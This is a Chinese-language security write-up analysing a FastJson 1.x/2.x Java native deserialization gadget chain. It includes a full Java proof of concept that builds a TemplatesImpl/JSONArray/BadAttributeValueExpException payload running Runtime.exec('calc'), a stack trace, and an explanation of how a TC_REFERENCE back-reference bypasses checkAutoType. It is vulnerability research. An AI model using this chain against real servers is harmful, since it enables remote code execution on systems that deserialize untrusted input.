FastJson1&FastJson2反序列化利用链分析
字数 1426 2025-08-24 20:49:22

FastJson1 & FastJson2反序列化利用链分析

前言

本文分析FastJson1和FastJson2的反序列化利用链,与传统的FastJson漏洞不同,这里的利用链是通过Java原生反序列化机制结合FastJson特定函数调用关系实现的攻击方式。

漏洞环境

  • FastJson 1.2.83
  • FastJson 2.x

利用链分析

测试代码

public class FastJson2 {
    public static byte[] getTemplates() throws IOException, CannotCompileException, NotFoundException {
        ClassPool classPool = ClassPool.getDefault();
        CtClass ctClass = classPool.makeClass("Test");
        ctClass.setSuperclass(classPool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
        String block = "Runtime.getRuntime().exec(\"calc\");";
        ctClass.makeClassInitializer().insertBefore(block);
        return ctClass.toBytecode();
    }

    public static void setFieldValue(Object obj, String name, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(name);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static void main(String[] args) throws Exception {
        byte[] code = getTemplates();

        // 装载Templates
        TemplatesImpl template = new TemplatesImpl();
        setFieldValue(template, "_bytecodes", new byte[][]{code});
        setFieldValue(template, "_name", "Evil");

        JSONArray jsonArray = new JSONArray();
        jsonArray.add(template);

        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
        setFieldValue(badAttributeValueExpException, "val", jsonArray);

        HashMap hashMap = new HashMap();
        hashMap.put(template, badAttributeValueExpException);
        
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(hashMap);
        oos.close();

        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        try {
            Object o = ois.readObject();
        } catch (Exception e) {
        }
    }
}

完整利用链

at com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.newTransformer(TemplatesImpl.java:486)
at com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getOutputProperties(TemplatesImpl.java:507)
at com.alibaba.fastjson.serializer.ASMSerializer_1_TemplatesImpl.write(Unknown Source)
at com.alibaba.fastjson.serializer.ListSerializer.write(ListSerializer.java:135)
at com.alibaba.fastjson.serializer.JSONSerializer.write(JSONSerializer.java:312)
at com.alibaba.fastjson.JSON.toJSONString(JSON.java:1077)
at com.alibaba.fastjson.JSON.toString(JSON.java:1071)
at javax.management.BadAttributeValueExpException.readObject(BadAttributeValueExpException.java:86)
at java.util.HashMap.readObject(HashMap.java:1404)
at java.io.ObjectInputStream.readObject(ObjectInputStream.java:422)

关键点解析

  1. BadAttributeValueExpException的作用

    • 通过其readObject方法调用JSONArray的toString方法
    • 由于JSONArray本身没有toString方法,会调用父类JSON的toString方法
  2. JSON的toString方法

    • 调用自身的toJSONString方法
    • toJSONString方法能够调用任意类的getter方法,从而触发TemplatesImpl的getOutputProperties方法
  3. ASM在FastJson中的应用

    • Fastjson使用ASM代替反射
    • 通过ASM的ClassWriter生成JavaBeanSerializer的子类
    • 重写write方法,为不同类生成独有的序列化工具类(如ASMSerializer_1_TemplatesImpl)
    • 这些动态生成的类会调用getter方法获取类信息

ASMSerializer_1_TemplatesImpl关键代码

public class ASMSerializer_1_TemplatesImpl extends JavaBeanSerializer implements ObjectSerializer {
    // 省略部分代码...
    
    public void write(JSONSerializer jSONSerializer, Object object, Object object2, Type type, int n) throws IOException {
        // 省略部分代码...
        TemplatesImpl templatesImpl = (TemplatesImpl)object;
        // 调用getOutputProperties方法
        Object object3 = templatesImpl.getOutputProperties();
        // 调用getStylesheetDOM方法
        object3 = templatesImpl.getStylesheetDOM();
        // 调用getTransletIndex方法
        int n3 = templatesImpl.getTransletIndex();
        // 省略部分代码...
    }
}

关于payload构造的特殊性

正确payload形式

hashMap.put(template, badAttributeValueExpException);  // 正确形式

错误payload形式

hashMap.put([something], badAttributeValueExpException);  // 错误形式

原因分析

  1. 错误形式的问题

    • 嵌套在JSONArray中的template对象无法被JSONObject#resolveClass正确解析
    • 因为B类型(byte[]的序列化表示)在FastJson的checkAutoType中不存在
  2. 正确形式的工作原理

    • 外部的template对象通过ObjectInputStream#resolveClass直接解析
    • 内部的template对象通过TC_REFERENCE引用已解析的外部template对象
    • 这种引用机制绕过了类型检查

关键调试发现

  1. resolveClass的差异

    • 外部template调用的是ObjectInputStream#resolveClass,直接使用Class.forName
    • 内部template调用的是JSONObject#resolveClass,会进行checkAutoType检查
  2. TC_REFERENCE的作用

    • 序列化数据中使用引用机制避免重复解析
    • 正确payload中,内部template通过引用已解析的外部template对象绕过检查

总结

  1. 该利用链结合了Java原生反序列化和FastJson的特定功能
  2. 关键点在于BadAttributeValueExpException触发FastJson的toString/toJSONString调用链
  3. FastJson使用ASM动态生成序列化类,调用目标对象的getter方法
  4. payload构造必须使用hashMap.put(template, badAttributeValueExpException)形式
    • 利用TC_REFERENCE机制绕过类型检查
    • 其他形式会因为类型检查失败而无法执行

参考文章

  1. Java反序列化之readObject分析
  2. FastJson反序列化漏洞分析
FastJson1 & FastJson2反序列化利用链分析 前言 本文分析FastJson1和FastJson2的反序列化利用链,与传统的FastJson漏洞不同,这里的利用链是通过Java原生反序列化机制结合FastJson特定函数调用关系实现的攻击方式。 漏洞环境 FastJson 1.2.83 FastJson 2.x 利用链分析 测试代码 完整利用链 关键点解析 BadAttributeValueExpException的作用 : 通过其readObject方法调用JSONArray的toString方法 由于JSONArray本身没有toString方法,会调用父类JSON的toString方法 JSON的toString方法 : 调用自身的toJSONString方法 toJSONString方法能够调用任意类的getter方法,从而触发TemplatesImpl的getOutputProperties方法 ASM在FastJson中的应用 : Fastjson使用ASM代替反射 通过ASM的ClassWriter生成JavaBeanSerializer的子类 重写write方法,为不同类生成独有的序列化工具类(如ASMSerializer_ 1_ TemplatesImpl) 这些动态生成的类会调用getter方法获取类信息 ASMSerializer_ 1_ TemplatesImpl关键代码 关于payload构造的特殊性 正确payload形式 错误payload形式 原因分析 错误形式的问题 : 嵌套在JSONArray中的template对象无法被JSONObject#resolveClass正确解析 因为B类型(byte[ ]的序列化表示)在FastJson的checkAutoType中不存在 正确形式的工作原理 : 外部的template对象通过ObjectInputStream#resolveClass直接解析 内部的template对象通过TC_ REFERENCE引用已解析的外部template对象 这种引用机制绕过了类型检查 关键调试发现 resolveClass的差异 : 外部template调用的是ObjectInputStream#resolveClass,直接使用Class.forName 内部template调用的是JSONObject#resolveClass,会进行checkAutoType检查 TC_ REFERENCE的作用 : 序列化数据中使用引用机制避免重复解析 正确payload中,内部template通过引用已解析的外部template对象绕过检查 总结 该利用链结合了Java原生反序列化和FastJson的特定功能 关键点在于BadAttributeValueExpException触发FastJson的toString/toJSONString调用链 FastJson使用ASM动态生成序列化类,调用目标对象的getter方法 payload构造必须使用 hashMap.put(template, badAttributeValueExpException) 形式 利用TC_ REFERENCE机制绕过类型检查 其他形式会因为类型检查失败而无法执行 参考文章 Java反序列化之readObject分析 FastJson反序列化漏洞分析